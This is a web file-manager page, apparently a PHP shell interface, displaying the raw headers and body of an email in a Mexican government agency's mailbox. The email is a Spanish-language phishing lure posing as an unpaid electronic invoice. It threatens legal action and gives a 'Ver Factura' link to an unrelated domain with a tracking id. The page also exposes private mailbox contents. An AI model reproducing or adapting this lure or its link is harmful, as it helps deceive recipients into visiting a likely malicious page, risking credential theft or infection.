File manager

xx File manager xx

File manager - Edit - /home/difpuert/mail/difpuertovallarta.gob.mx/administracion/cur/1779282054.M579817P29490.v290860.vpsmx.net,S=5697,W=5820:2,S

Back
Envelope-to: administracion@difpuertovallarta.gob.mx Delivery-date: Wed, 20 May 2026 07:00:54 -0600 Message-ID: <ace30051a56be29fbc12eb40b4384248652df1c7@agroboja.com.mx> Reply-To: Jose Flores <facturaenlinea@fel.com.mx> From: Jose Flores <facturacion.aguaazul@agroboja.com.mx> To: administracion@difpuertovallarta.gob.mx Subject: Se envia Factura electronica. (Por pagar) Date: Wed, 20 May 2026 13:00:06 +0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="22aae34215a78d8211bbf211b5705421acae" preview: A quien corresponda. Se anexa la factura por el servicio realizado la semana anterior, La cual se encuentra pendiente de pago. Favor de verificar lo antes posible, Porque se remitir_ al _rea legal. Content analysis details: (1.3 points, 4.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 1.5 BAYES_60 BODY: Bayes spam probability is 60 to 80% [score: 0.7173] -0.0 SPF_PASS SPF: sender matches SPF record 0.0 HTML_MESSAGE BODY: HTML included in message 0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid -0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from envelope-from domain -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's domain 0.0 KAM_SHORT Use of a URL Shortener for very short URL Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable A quien corresponda. Se anexa la factura por el servicio realizado la semana anterior, La cual= se encuentra pendiente de pago. Favor de verificar lo antes posible, Porque se remitir=C3=A1 al =C3=A1rea= legal. Ver Factura Saludos. --22aae34215a78d8211bbf211b5705421acae Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable <html> <head> <meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dutf-8"> </head> <body> <p>A quien corresponda.</p> <p><br />Se anexa la factura por el servicio realizado la semana anterior= , La cual se encuentra pendiente de pago.</p> <p>Favor de verificar lo antes posible, Porque se remitirá al &aac= ute;rea legal.</p> <p><a=20 href=3D"https://nxus.mx/js/min/?cid=3D418d7ac1c504477b73811157086abe7c549= d9ba3d51d248fd124d4a9ae13a02e15b7da52eaa281f4192c580c05c7333d8c9172826d5d= 649bda0c8c7bf189e2a826a33322629e1f37d65bbe9443&idMsg=3Dgmtvouutqednhbsamy= dmjf">Ver Factura</a></p> <p>Saludos.</p> </body> </html> --22aae34215a78d8211bbf211b5705421acae--

xx | ver. 1.4 | Github | . | PHP 8.2.33 | Generation time: 0.07 | proxy | phpinfo | Settings